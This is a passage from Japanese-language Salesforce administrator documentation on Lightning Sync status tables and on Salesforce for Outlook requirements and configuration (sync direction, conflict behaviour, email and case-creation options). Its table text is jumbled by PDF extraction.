を使用して接続をテストし、設定
の問題をトラブルシューティング
することをお勧めします。

Lightning Syncが、指定されたサービ
スアカウントを認識できませんで
した。Microsoft Exchange に有効な
サービスアカウントを設定してい
ることを確認します。

ユーザの Microsoft Exchange メールア
ドレスがすべて、対応するSalesforce

期待どおりのLightning Syncユーザ数Microsoft Exchange と Salesforce のメー
ルアドレスがリンクされているユー
ザ: メールアドレスに正しく対応付け

られています。

ユーザの Microsoft Exchange メールア
ドレスの一部が、対応するSalesforce

期待どおりでないLightning Syncユー
ザ数

メールアドレスに正しく対応付け
られていません。Exchange と
Salesforceでユーザのアドレスを比較
して、一致していることを確認し
ます。

ユーザの Microsoft Exchange メールア
ドレスが 1 つも、対応するSalesforce

0

メールアドレスに対応付けられて
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この状況の意味次の状況を指定条件

いません。Salesforce カスタマーサ
ポートにお問い合わせください。

表 14 : 取引先責任者の状況
この状況の意味次の状況を指定条件

この日時に組織で取引先責任者が
Lightning Syncと最後に同期されまし

取引先責任者の同期時刻が過去数
分以内

最後の同期活動:

た。一般に、Lightning Syncはレコー
ドを期待どおり同期しています。
この状況が表示されていて、個々
のユーザが依然として取引先責任
者が期待どおりに同期されないと
報告している場合は、Exchange サー
バまたはLightning Sync設定で、この
特定のユーザに関連する設定を確
認します。

この日時に組織で取引先責任者が
最後に同期されました。取引先責

取引先責任者の同期時刻が過去数
時間以内

任者を初めて同期するときは完了
までに数時間かかることがあるた
め、Lightning Syncを最近設定したも
のと思われます。組織で取引先責
任者を同期したのが初めてではな
い場合、この状況は組織での取引
先責任者の同期に問題があること
を示している可能性があります。
今後 24 時間にわたって最後の同期
活動を監視し、同期が再開される
かどうか確認します。

この日時に組織で取引先責任者が
最後に同期されました。24 時間以

取引先責任者の同期時刻が過去の
日付

内に組織で同期が再開されない場
合は、Exchange サービスアカウント
のログイン情報を正しく入力した
こと、Salesforceがサービスアカウン
トを認識したこと、および Microsoft

の Remote Connectivity Analyzer を使用
して Exchange サーバが Lightning Sync

と通信可能であることを検証済み
であることを確認します。接続が
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この状況の意味次の状況を指定条件

確立されていることを Analyzer が示
している場合は、Salesforce カスタ
マーサポートにご連絡ください。

過去 60 分以内に、組織でこの数の
取引先責任者が最後に同期されま
した。

組織で過去 60 分間に同期された取
引先責任者の数

過去 60 分間に同期されたレコード:

過去 60 分以内に、組織で取引先責
任者が 1 人も同期されていません。

0

今後 24 時間にわたってレコードの
同期活動を監視し、同期が再開さ
れるかどうか確認します。同期が
再開されない場合は、Microsoft の
Remote Connectivity Analyzer を使用し
て、Exchange サーバが Lightning Sync

と通信可能であることを確認しま
す。接続が確立されていることを
Analyzer が示している場合は、
Salesforceカスタマーサポートにご連
絡ください。

過去 24 時間以内に、この数の取引
先責任者が最後に同期されました。

過去 24 時間に組織で同期された取
引先責任者の数

過去 24 時間に同期されたレコード:

過去 60 分以内に、組織で取引先責
任者が 1 人も同期されていません。

0

Microsoft の Remote Connectivity Analyzer

を使用して、Exchange サーバが
Lightning Syncと通信可能であること
を確認します。接続が確立されて
いることを Analyzer が示している場
合は、Salesforceカスタマーサポート
にご連絡ください。

表 15 : 行動の状況
この状況の意味次の状況を指定条件

この日時に組織で行動が Lightning

Syncと最後に同期されました。一般
行動の同期時刻が過去数分以内最後の同期活動:

に、Lightning Syncはレコードを期待
どおり同期しています。この状況
が表示されていて、個々のユーザ
の行動が依然として期待どおりに
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この状況の意味次の状況を指定条件

同期されないと報告している場合
は、Exchange サーバまたは Lightning

Sync設定で、この特定のユーザに関
連する設定を確認します。

この日時に組織で行動が最後に同
期されました。行動を初めて同期

行動の同期時刻が過去数時間以内

するときは完了までに数時間かか
ることがあるため、Lightning Syncを
最近設定したものと思われます。
組織で行動を同期したのが初めて
ではない場合、この状況は組織で
の行動の同期に問題があることを
示している可能性があります。今
後 24 時間にわたって最後の同期活
動を監視し、同期が再開されるか
どうか確認します。

この日時に組織で行動が最後に同
期されました。24 時間以内、また

行動の同期時刻が過去の日付

はそれ以上組織で同期が再開され
ない場合は、Exchange サービスアカ
ウントのログイン情報を正しく入
力したこと、Salesforceがサービスア
カウントを認識したこと、および
Microsoft の Remote Connectivity Analyzer

を使用して Exchange サーバが
Lightning Syncと通信可能であること
を検証済みであることを確認しま
す。接続が確立されていることを
Analyzer が示している場合は、
Salesforceカスタマーサポートにご連
絡ください。

過去 60 分以内に、組織でこの数の
行動が最後に同期されました。

過去 60 分間に組織で同期された行
動の数

過去 60 分間に同期されたレコード:

過去 60 分以内に、組織で行動が 1

つも同期されていません。今後 24

0

時間にわたってレコードの同期活
動を監視し、同期が再開されるか
どうか確認します。同期が再開さ
れない場合は、Microsoft の Remote

Connectivity Analyzer を使用して、
Exchange サーバが Lightning Sync と通
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この状況の意味次の状況を指定条件

信可能であることを確認します。
接続が確立されていることを
Analyzer が示している場合は、
Salesforceカスタマーサポートにご連
絡ください。

過去 24 時間以内に、この数の取引
先責任者が最後に同期されました。

過去 24 時間に組織で同期された取
引先責任者の数

過去 24 時間に同期されたレコード:

過去 60 分以内に、組織で行動が 1

つも同期されていません。Microsoft

0

の Remote Connectivity Analyzer を使用
して、Exchange サーバが Lightning

Syncと通信可能であることを確認し
ます。接続が確立されていること
を Analyzer が示している場合は、
Salesforceカスタマーサポートにご連
絡ください。

ユーザの状況

表 16 : 設定の状況
この状況の意味次の状況を指定条件

このユーザは、有効なLightning Sync

設定で同期が設定されています。
ユーザの有効な Exchange 設定への割
り当て:

このユーザは、有効なLightning Sync

設定で同期が設定されていません。

Lightning Syncは、このユーザのバー
ジョンの Microsoft Exchange をサポー
トします。

Microsoft Exchange のサポートされて
いるバージョンでのユーザのメー
ルボックスの実行:

Lightning Syncは、このユーザのバー
ジョンの Microsoft Exchange をサポー
トしません。

このユーザは、Exchange に設定した
サービスアカウントによって表さ

Exchange サービスアカウントによる
ユーザの認識:

れ、Lightning Sync が Exchange サービ
スアカウントと通信できます。

このユーザは、Exchange に設定した
サービスアカウントによって表さ
れていないか、Lightning Syncが指定
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この状況の意味次の状況を指定条件

した Exchange サービスアカウントと
通信できません。Exchange サービス
アカウントの設定を確認して、有
効なサービスアカウントを設定し
ていること、およびこのユーザを
正確に表していることを確認しま
す。

このユーザの同期をリセットしま
したが、リセットが開始されてい

リセットの対象にマーク済みユーザの同期のリセット状況

ません。リセット要求がシステム
のキューにあり、システムが使用
可能になったときにリセットが実
行されます。

同期のリセットプロセスを処理中
です。リセットが完了すると、こ

リセット処理中

のページに「ユーザの同期のリセッ
ト状況」が表示されなくなります。

この営業担当は Lightning for Outlook

を設定しています。Salesforceに同期
はいユーザが Lightning for Outlook を設定

済み:

する Microsoft の行動を営業担当が選
択するように設定した場合、営業
担当は Lightning for Outlook を使用し
て行動を選択します。

この営業担当は Lightning for Outlook

を設定していません。Salesforceに同
いいえ

期する Microsoft の行動を営業担当が
選択するように設定した場合、営
業担当が Lightning for Outlook を設定
するまで営業担当は行動を選択で
きません。

表 17 : 取引先責任者の状況
この状況の意味次の状況を指定条件

このユーザのメールアカウントの
取引先責任者ディレクトリに

Salesforce_Sync フォルダの検出:

Salesforce_Sync フォルダが見つかり
ました。

Lightning Sync が、Exchange サーバで
Salesforce_Sync フォルダを検出でき
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この状況の意味次の状況を指定条件

ないか、このユーザのフォルダを
自動的に作成できません。このユー
ザの Salesforce_Sync フォルダは、こ
のユーザのメールアカウントの取
引先責任者ディレクトリにサブディ
レクトリとして作成できます。

このユーザの Microsoft Exchange メー
ルアドレスが、同ユーザのSalesforce

Salesforceと Exchange のメールアドレ
スのリンク:

メールアドレスに正しく対応付け
られています。

このユーザの Microsoft Exchange メー
ルアドレスが、同ユーザのSalesforce

メールアドレスに正しく対応付け
られていません。このユーザの同
期をリセットします。

このユーザの取引先責任者の
Salesforceから Exchange への同期が開
始されていません。

未開始Salesforceから Exchange への同期状況:

このユーザの取引先責任者を
Salesforceから Exchange に初めて同期

初回同期中

しています。この初回同期には数
時間かかることがあります。

このユーザの取引先責任者の
Salesforceから Exchange への初めての
同期が完了しました。

初回同期の完了

現在、このユーザの取引先責任者
を Salesforce から Exchange に同期し
ています。

同期中

このユーザの取引先責任者の
Salesforceから Exchange への同期が完
了しました。

同期済み

このユーザは、有効なLightning Sync

設定で、取引先責任者を Salesforce

Exchange 設定の同期が未設定

から Exchange に同期するよう設定さ
れていません。

このユーザの取引先責任者の
Exchange からSalesforceへの同期はま
だ開始されていません。

未開始Exchange からSalesforceへの同期状況:
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この状況の意味次の状況を指定条件

このユーザの取引先責任者を
Exchange からSalesforceに初めて同期

初回同期中

しています。この初回同期には数
時間かかることがあります。

このユーザの取引先責任者の
Exchange からSalesforceへの初めての
同期が完了しました。

初回同期の完了

このユーザの取引先責任者を
Exchange からSalesforceに同期してい
ます。

同期中

このユーザの取引先責任者の
Exchange からSalesforceへの同期が完
了しました。

同期済み

このユーザは、有効なLightning Sync

設定で、取引先責任者を Exchange か
Exchange 設定の同期が未設定

ら Salesforce に同期するよう設定さ
れていません。

このユーザは、この数の取引先責
任者を Exchange と Salesforce 間で同

このユーザが同期している取引先
責任者数

同期済みのレコード

期しています。このユーザの取引
先責任者が期待どおり同期されて
いる場合は、この数が、同ユーザ
の Salesforce_Sync フォルダの取引先
責任者数と一致します。

表 18 : 行動の状況
この状況の意味次の状況を指定条件

このユーザのメールアカウントで
カレンダーフォルダが検出されま
した。

カレンダーフォルダの検出:

Lightning Sync が、Exchange サーバで
ユーザのカレンダーフォルダを検
出できません。

このユーザの Microsoft Exchange メー
ルアドレスが、同ユーザのSalesforce

Salesforceと Exchange のメールアドレ
スのリンク:

メールアドレスに正しく対応付け
られています。
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この状況の意味次の状況を指定条件

このユーザの Microsoft Exchange メー
ルアドレスが、同ユーザのSalesforce

メールアドレスに正しく対応付け
られていません。このユーザの同
期をリセットします。

このユーザの行動の Salesforce から
Exchange への同期は開始されていま
せん。

未開始Salesforceから Exchange への同期状況:

このユーザの行動を Salesforce から
Exchange に初めて同期しています。

初回同期中

この初回同期には数時間かかるこ
とがあります。

このユーザの行動の Salesforce から
Exchange への初めての同期が完了し
ました。

初回同期の完了

現在、このユーザの行動をSalesforce

から Exchange に同期しています。
同期中

このユーザの行動の Salesforce から
Exchange への同期が完了しました。

同期済み

このユーザは、有効なLightning Sync

設定で、行動を Salesforce から
Exchange 設定の同期が未設定

Exchange に同期するよう設定されて
いません。

このユーザの行動の Exchange から
Salesforceへの同期は開始されていま
せん。

未開始Exchange からSalesforceへの同期状況:

このユーザの行動を Exchange から
Salesforceに初めて同期しています。

初回同期中

この初回同期には数時間かかるこ
とがあります。

このユーザの行動の Exchange から
Salesforceへの初めての同期が完了し
ました。

初回同期の完了

このユーザの行動を Exchange から
Salesforce に同期しています。

同期中

このユーザの行動の Exchange から
Salesforceへの同期が完了しました。

同期済み
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この状況の意味次の状況を指定条件

このユーザは、有効なLightning Sync

設定で、行動を Exchange から
Exchange 設定の同期が未設定

Salesforceに同期するよう設定されて
いません。

このユーザはこの数の行動を
Exchange からSalesforceに同期してい

このユーザが同期している行動の
数

同期済みのレコード

ます。このユーザが一部の行動の
みの同期に問題があると報告して
いる場合は、ユーザのLightning Sync

設定で行動の同期が期待どおりに
設定されていること、およびユー
ザが行動に privateオプションを
割り当てていないことを確認しま
す。また、この時点でLightning Sync

は定期的な行動または行動の招待
者を同期しません。

Salesforce for Outlook: デスクトップベースの製品を使用して Microsoft
Outlook から Salesforce を操作するための営業担当の設定

Salesforce for Outlook のシステム要件

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlook をダウンロードしてインストールする前に、コンピューティ
ングシステムが次のシステム要件を満たしていることを確認します。

必要なバージョン基本リソース

Salesforce による TLS 1.0 暗号化プロトコルの無効化後は
Salesforce for Outlook v3.0.0 以降

Salesforce for Outlook

Microsoft Exchange Online (Microsoft Office 365™の一部) または Microsoft

Exchange Server (社内) を使用する、最新の更新が適用された次の
いずれかのバージョンの Microsoft® Outlook®。

デフォルトの
メールプログ
ラム

• 2016

• 2013

• 2010

• 2007 (2017 年 4 月までサポート)

Salesforce for Outlook は、クイック実行 (Microsoft Office のストリー
ミングインストーラ) を使用してインストールされた Outlook を
サポートしています。
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必要なバージョン基本リソース

最新のホットフィックスが適用された次のいずれかのバージョンの Microsoft Windows®オペレーティングシ
ステム • Windows 10

• Windows 8.1 (Pro および Enterprise)

• Windows 7

Apple® Mac OS® を使用しているお客様は Lightning for Outlook および Lightning Sync を設定す
ることを検討してください。

TLS 暗号化プロトコル 1.1 以降が有効化された Microsoft Internet Explorer®。機能固有のブラ
ウザの制限事項については、「その他の要件」を参照してください。

ブラウザ

その他の要件

要件その他の機能

Winter '17 では、Microsoft Internet Explorer 9 以降が必要です。
Spring '17 以降では、Microsoft Internet Explorer 11 が必要です。

Salesforceサイドパネ
ルパブリッシャーを
使用したレコードの
作成

プロキシサーバ経由でインターネットに接続する次のシステムの使用をサポートして
います。

サーバ設定

• プロキシの自動検出
• 手動プロキシ
• NTLM プロキシ認証

次の使用はサポートしていません。
• IMAP および POP3 メールサーバ。
• Citrix®サーバなどのターミナルサーバ。Lightning for Outlookおよび Lightning Syncを設定

することを検討してください。
• プロキシ自動設定ファイル (.pac)。

システム管理者が .msi インストーラを使用する場合、次のツールをインストールす
る必要がある場合があります。

インストーラ

• Microsoft .NET Framework 4.5.2、4.6、4.6.1、または 4.6.2

• Microsoft Visual Studio® 2010 Tools for Office Runtime

• 使用するバージョンの Microsoft Outlook 用プライマリ相互運用機能アセンブリ (PIA) 再
配布可能パッケージ

Windows 7 の .msi ユーザは、システム管理者としてコマンドプロンプトを実行し、コ
マンドラインから、msiexec /i SalesforceForOutlook.msi などのコマンドを使
用してインストーラを起動する必要があります。
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要件その他の機能

次のいずれかの使用をサポートしています。シングルサインオン
• 代理認証
• [私のドメイン] での Security Assertion Markup Language (SAML)

シングルサインオン用の個別のオンライン ID プロバイダの使用はサポートしていませ
ん。

関連トピック:

デスクトップベースの Salesforce for Outlook

Salesforce for Outlook のインストールと設定
Salesforce for Outlook サポート言語
Lightning for Outlook: Microsoft® Outlook® から Salesforce を操作するための営業担当の設定
Lightning Sync: 営業担当の取引先責任者と行動の Microsoft® または Google と Salesforce 間の同期

Outlook 設定および Outlook パブリッシャーレイアウト

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

ニーズの異なるユーザのグループに別個の設定を作成して、Salesforce for Outlook

ユーザが Microsoft® Outlook®と Salesforce間で自分のレコードを簡単に管理できるよ
うにします。これを行うには、[設定] から、[クイック検索]ボックスに「Outlook

設定」と入力し、[Outlook 設定] を選択します。

Salesforce for Outlook の設定
Salesforce for Outlook 設定には、Salesforce for Outlook ユーザが Microsoft® Outlook® と
Salesforce 間で同期できるデータの設定が含まれます。システム管理者は、ユー
ザ種別ごとに個別の設定を作成し、各自の設定の一部を編集する権限をユーザ
に付与することができます。たとえば、商談チームはすべてを同期させる必要
がありますが、マネージャは行動のみを同期します。
また、Outlook の Salesforce サイドパネルから直接 Salesforce レコードを作成、表示
および操作するようにユーザを設定することもできます。サイドパネルでは、
Outlook のメール、イベント、および仕事を関連する Salesforce レコードに簡単に
追加できます。

Outlook パブリッシャーレイアウト
ユーザはサイドパネルパブリッシャーを使用して、取引先、ケース、リード、
商談、およびカスタムオブジェクトをサイドパネルから直接作成できます。サイドパネルパブリッシャーを使
用するユーザを設定するには、ユーザのパブリッシャーメニューに表示するクイックアクションを作成し、そ

2487

Salesforce for Outlook: デスクトップベースの製品を使用
して Microsoft Outlook から Salesforce を操作するための

営業担当の設定

販売ツールの設定および管理



のクイックアクションを適切なパブリッシャーレイアウトに追加し、パブリッシャーレイアウトを正しいユー
ザに割り当てます。

関連トピック:

デスクトップベースの Salesforce for Outlook

Salesforce for Outlook 設定の作成
Salesforce for Outlook のデータセットの定義
Contact Manager および Group Edition の Salesforce for Outlook 設定
Salesforce サイドパネルからレコードを直接作成する営業担当の設定

Salesforce for Outlook 設定の作成

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

営業担当が Salesforce for Outlookの使用を開始する前に、Outlook 設定を作成してそ
の操作性を定義する必要があります。Outlook 設定では、アクセスできる機能、
Outlook と Salesforce 間でレコードを同期する方法など、営業担当の
Salesforce for Outlook 設定を定義します。営業チームの一部に対して固有の設定を
定義する場合は、複数の Outlook 設定を作成し、適宜、営業担当を割り当てま
す。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. [新規 Outlook 設定] をクリックします。
3. 設定の名前と説明を入力します。
4. [有効] を選択して、その設定を有効にします。
5. [商品の更新の通知]を選択して、Salesforce for Outlookのアップグレードがダウ

ンロード可能であることを営業担当が確認できるようにします。
6. 営業担当向けに定義した操作性に応じて、次の設定の一部またはすべてを定

義します。
• ユーザとプロファイルの割り当て
• メール追加とケース作成のためのメール関連オプション
• 同期方向
• 競合動作
• 項目の対応付け
• 一致条件
• 変更権限
• 高度な設定

7. [保存] をクリックします。
8. データセットを定義します。
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Salesforce for Outlook ユーザが Salesforce for Outlook 設定ウィザードから Salesforce に初めてログインすると、これら
の設定がすぐに有効になります。有効な Outlook 設定を変更すると、営業担当が次回 Outlook を開いたときに変
更が有効になります。

関連トピック:

デスクトップベースの Salesforce for Outlook

Contact Manager および Group Edition の Salesforce for Outlook 設定

ユーザの Salesforce for Outlook 設定への割り当て

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

Salesforce for Outlook 設定の基本情報を定義した後、構成設定が適用される
Salesforce for Outlook ユーザを選択します。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 既存の Outlook 設定を変更する場合は、変更する設定の横にある [編集] をク

リックします。変更しない場合は、[新規 Outlook 設定] をクリックして、必
須項目に入力します。

3. [ユーザとプロファイルの割り当て] セクションの、[検索]ドロップダウンリ
ストで [プロファイル] または [ユーザ] のいずれかを選択します。

4. 追加するメンバーが見つからない場合は、検索ボックスにキーワードを入力
し、[検索] をクリックします。

5. [共有可能なユーザ] ボックスからメンバーを選択し、[追加] をクリックする
と、そのメンバーがグループに追加されます。選択可能なすべてのユーザが
この設定に割り当てられると、[ユーザ] リストが空白となり、プロファイル
のみを割り当てることができます。

6. メンバーを削除するには、それらのメンバーを選択して [削除]をクリックし
ます。削除されたユーザがプロファイルを介して別の有効な設定に割り当て
られると、次回 Outlook を開いたときにその別の設定が使用されます。リスト
されていない場合、削除されたユーザは Salesforce for Outlook を使用することはできません。

7. [保存] をクリックします。すべての変更は、次回ユーザがこの設定でデータを同期するときに有効になり
ます。すでに割り当てられているユーザを他の設定に割り当てると、割り当てられている設定からそのユー
ザは削除され、該当する設定に割り当てられます。割り当てユーザが、別の有効な設定に割り当てられた
プロファイルの一部である場合、ユーザを表示している設定が直接使用されます。

関連トピック:

Salesforce for Outlook 設定の作成
Outlook 設定および Outlook パブリッシャーレイアウト
Salesforce for Outlook のメールオプションの設定
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Salesforce for Outlook のデータ設定の定義

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

データ設定により、Salesforce for Outlookの同期の動作とメール機能を制御します。
Salesforce for Outlook 設定の [データ設定] 項目を使用して、次の設定を定義できま
す。
• メール追加とケース作成のためのメール関連オプション
• 同期方向
• 競合動作
• 項目の対応付け
• 一致条件
• 変更権限
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Salesforce for Outlook のメールオプションの設定

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

メールおよびサイドパネ
ルの追加とケース作成を
有効にする
• 「アプリケーションの

カスタマイズ」

営業チームが Salesforce 取引先責任者およびリードに関連する重要な
Microsoft® Outlook®メールを追跡するのに役立ちます。また、これらの取引先責任
者およびリードを取得して、Outlook に直接表示することもできます。

Salesforce サイドパネルの有効化
営業担当のメールと行動に関連する Salesforce 取引先責任者およびリードを営業
担当が表示できます。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 既存の Outlook 設定を変更する場合は、変更する設定の横にある [編集] をク

リックします。変更しない場合は、[新規 Outlook 設定] をクリックして、必
須項目に入力します。

3. [サイドパネル] を選択します。
4. 変更内容を保存します。

営業担当によるサイドパネルでのレコードへのメール、添付ファイル、
行動、ToDo の追加を許可

[メールを追加]設定により、Outlook のメールと添付ファイル ( )、行動 ( )、
ToDo ( ) を Salesforceレコードにサイドパネルから直接追加できます。また、営
業担当の [ユーザに添付ファイルの選択を許可する]  ( ) を有効にして、すべて
の添付ファイルを自動的に選択するのではなく、Salesforce に追加する特定の添
付ファイルを営業担当が選択できるようにすることもできます。
1. [設定] から、[クイック検索] ボックスに「Outlook 設定」と入力し、[Outlook 設定] を選択します。
2. 既存の Outlook 設定を変更する場合は、変更する設定の横にある [編集]をクリックします。変更しない場合

は、[新規 Outlook 設定] をクリックして、必須項目に入力します。
3. [サイドパネル] を選択します。
4. [メールを追加] を選択します。
5. Salesforce に追加する特定の添付ファイルを営業担当が選択できるようにするには、[ユーザに添付ファイル

の選択を許可する] を選択します。
6. 変更内容を保存します。

サイドパネルを使用しないユーザによるレコードへのメールと添付ファイルの追加を許可

サイドパネルが有効になっていない営業担当の場合、[メールを追加] 設定により、[メールを追加] ボタンと
[送信と追加] ボタンが Outlook リボンに追加されます。さらにこの設定により、営業担当が最大 10 個のメール
を同時に Salesforce に追加できます。
1. [設定] から、[クイック検索] ボックスに「Outlook 設定」と入力し、[Outlook 設定] を選択します。
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2. 既存の Outlook 設定を変更する場合は、変更する設定の横にある [編集]をクリックします。変更しない場合
は、[新規 Outlook 設定] をクリックして、必須項目に入力します。

3. [サイドパネル] をオフにします。
4. [メールを追加] を選択します。
5. 変更内容を保存します。
6. [私のメール to Salesforce] を有効にしていない場合は、ポップアップメッセージ内の [有効化]をクリックする

と、機能が有効になります。

サイドパネルを使用しないユーザによる Outlook からのケースの作成を許可
サイドパネルが有効になっていない営業担当の場合、[ケースを作成]設定により、ドロップダウンリストボタ
ンが Outlook に追加されます。さらにこの設定により、営業担当が Outlook メールから Salesforce ケースを作成で
きます。営業担当に対してサイドパネルを有効にしている場合、サイドパネルパブリッシャーへのアクセス権
を営業担当に付与できます。パブリッシャーでは、営業担当がさまざまなSalesforceレコードをサイドパネルか
ら直接作成できます。

メモ: ケース作成機能を有効にする前に、「Salesforce for Outlook ユーザのケース作成の設定」 (ページ 2493)

の手順を確認して実行します。完了したら、このトピックに戻って次の手順を完了します。
1. [設定] から、[クイック検索] ボックスに「Outlook 設定」と入力し、[Outlook 設定] を選択します。
2. 既存の Outlook 設定を変更する場合は、変更する設定の横にある [編集]をクリックします。変更しない場合

は、[新規 Outlook 設定] をクリックして、必須項目に入力します。
3. [サイドパネル] オプションをクリアします。
4. [ケースを作成] を選択します。次のいずれかのリンクを選択します。

• 推奨: [既存のケースの作成先を選択]。既存の作成先を選択できます。1 つの Outlook 設定につき、最大 10

個の作成先を選択できます。
• [新しいケースの作成先を作成]。まず作業内容を保存してから、作成先を作成します。作成後 [Outlook 設

定] ページに戻り、ケース作成設定に必要な作業を完了します。

5. 変更内容を保存します。

関連トピック:

Salesforce レコードへの Microsoft® Outlook® メールの追加
Salesforce for Outlook メール設定の編集
Salesforce for Outlook 設定の作成
ユーザの Salesforce for Outlook 設定への割り当て
Salesforce サイドパネルからレコードを直接作成する営業担当の設定
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定期的な行動の有効化がユーザに与える影響に関する説明

エディション

設定に使用可能なエディ
ション: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce for Outlookの定期的な行動機能を有効化した後、SalesforceおよびAPIユー
ザは、次の変更を期待できます。

把握する必要のある内容対象

定期的な行動を変更しても、過去の行動には影響を与えません。Salesforce

ユーザ
定期的な行動の次の項目を変更すると、単独の行動に対する以前
の変更が上書きされます。
• 行動の開始時刻と終了時刻
• 終日の行動
• 頻度
• 繰り返し開始日 (ユーザが招待者に更新を送信する場合)

さらに、ユーザがこのいずれかの項目を変更すると、定期的な行
動のすべての行動が削除されて再作成されます。その結果、すべ
ての招待者の状況は [未決定] にリセットされます。

ユーザが定期的な行動の同期を開始すると、次の参照のみ API オ
ブジェクトが API に表示されます。

API ユーザ

• EventRecurrenceException

• TaskRecurrenceException

関連トピック:

Salesforce for Outlook のメールオプションの設定
Outlook 設定および Outlook パブリッシャーレイアウト

Salesforce for Outlook ユーザのケース作成の設定

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

Salesforce for Outlookのケース作成機能では、Microsoft® Outlook®のメールからSalesforce

にケースを作成できます。管理者としては、Outlook に [ケースを作成] ドロップ
ダウンリストボタンに表示されるメール-to-ケースの作成先を作成できます。作
成先ごとに、個人ユーザまたはキューのいずれかの割り当て先を選択します。1

つの Outlook 設定につき、最大 10 個の作成先を追加できます。ユーザがケースを
作成すると、作成先ごとに同時に 10 件のメールを追加できます。
Salesforce for Outlookユーザが Outlook からケースを作成する前に、次の手順を実行
しておく必要があります。
1. まだ実行していない場合は、オンデマンドメール-to-ケースを有効化して、

設定します。
2. メール-to-ケースの作成先 (メールルーティングアドレスとも呼ばれる) を定義します。
3. 組織でケースの作成機能を有効にします。これにより Outlook の [ケースを作成]ドロップダウンリストボタ

ンに追加されます。
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Salesforce for Outlook は、Salesforce for Outlook ユーザが Salesforce にケースとして追加するメールにカテゴリを割り
当てます。この [Salesforce にケースとして追加] カテゴリによって、Salesforce にケースとして追加したメールを
簡単に検索できます。

関連トピック:

Salesforce サイドパネルからレコードを直接作成する営業担当の設定
Salesforce for Outlook 設定の作成
Salesforce for Outlook のメールオプションの設定

Salesforce for Outlook ユーザの同期方向の定義

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

Microsoft® Outlook®とSalesforce間で取引先責任者、行動、および ToDo を同期する営
業担当の同期方向を設定します。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 設定を作成または編集し、同期をとる各オブジェクトの [データ設定] の下

で、次の同期方向の 1 つを選択します。
• 同期しない: Outlook と Salesforce のレコードの同期をとりません。また、設

定ウィザードでは同期をとる Outlook フォルダは選択できません。
• Salesforce から Outlook: データを初めて同期するとき、Salesforce に

あるレコードから、Outlook のレコードを作成または更新します。以降の
同期の途中で、Outlook 側のレコードに変更があったかどうかに関係なく、
Salesforce レコードに対する変更が Outlook に反映されます。また、同期し
たレコードを Salesforce で削除すると、Outlook 側のレコードも削除されま
す。Outlook での変更が Salesforce に送られることはありません。このオプ
ションに必要な競合動作設定は、「Salesforce が常に優先」です。

• Outlook から Salesforce: 初めて同期するとき、Outlook にあるレコー
ドから、Salesforceのレコードを作成または更新します。以降の同期の途中
で、Salesforce 側のレコードに変更があったかどうかに関係なく、Outlook

レコードに対する変更が Salesforce に反映されます。また、同期したレコードを Outlook で削除すると、
Salesforce側のレコードも削除されます。Salesforceでの変更が Outlook に送られることはありません。この
オプションに必要な競合動作設定は、「Outlook が常に優先」です。このオプションは、取引先責任
者については使用できません。

• 双方向同期: レコードを同期するとき、Outlook とSalesforceへの変更が両方のシステム間で同期されます。
レコードが競合する場合は、競合の動作設定によりどちらのレコードを優先するかが決まります。

3. [保存] をクリックします。すべての変更は、次回ユーザがこの設定でデータを同期するときに有効になり
ます。
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4. 同期方向を定めた各オブジェクトのデータセットを定義します。

関連トピック:

Outlook 設定および Outlook パブリッシャーレイアウト
Salesforce for Outlook のメールオプションの設定
Salesforce for Outlook 設定の作成
Salesforce for Outlook のデータセットの定義

Salesforce for Outlook の競合動作の定義

エディション

この機能を管理可能なエ
ディション: Salesforce
Classic および Lightning
Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

設定を表示する
• 「設定・定義を参照す

る」

設定を作成、編集、また
は削除する
• 「メールクライアント

設定の管理」

競合の動作設定は、データの双方向同期時に Salesforce for Outlook で競合した場合
の動作を決定します。競合は、同じレコードが Salesforce および Outlook の両方で
更新された場合またはレコードが一方で更新され、もう一方で削除された場合
に発生します。
1. [設定] から、[クイック検索]ボックスに「Outlook 設定」と入力し、[Outlook

設定] を選択します。
2. 設定を編集し、取引先責任者、行動、ToDo の [データ設定] で、次のいずれか

の競合動作を選択します。
• Salesforce が常に優先
• Outlook が常に優先

3. [保存] をクリックします。すべての変更は、次回ユーザがこの設定でデータ
を同期するときに有効になります。

関連トピック:

Outlook 設定および Outlook パブリッシャーレイアウト
Salesforce for Outlook 設定の作成
Salesforce と Microsoft® Outlook® 間で同期する項目のカスタマイズ
Salesforce for Outlook ユーザの同期方向の定義
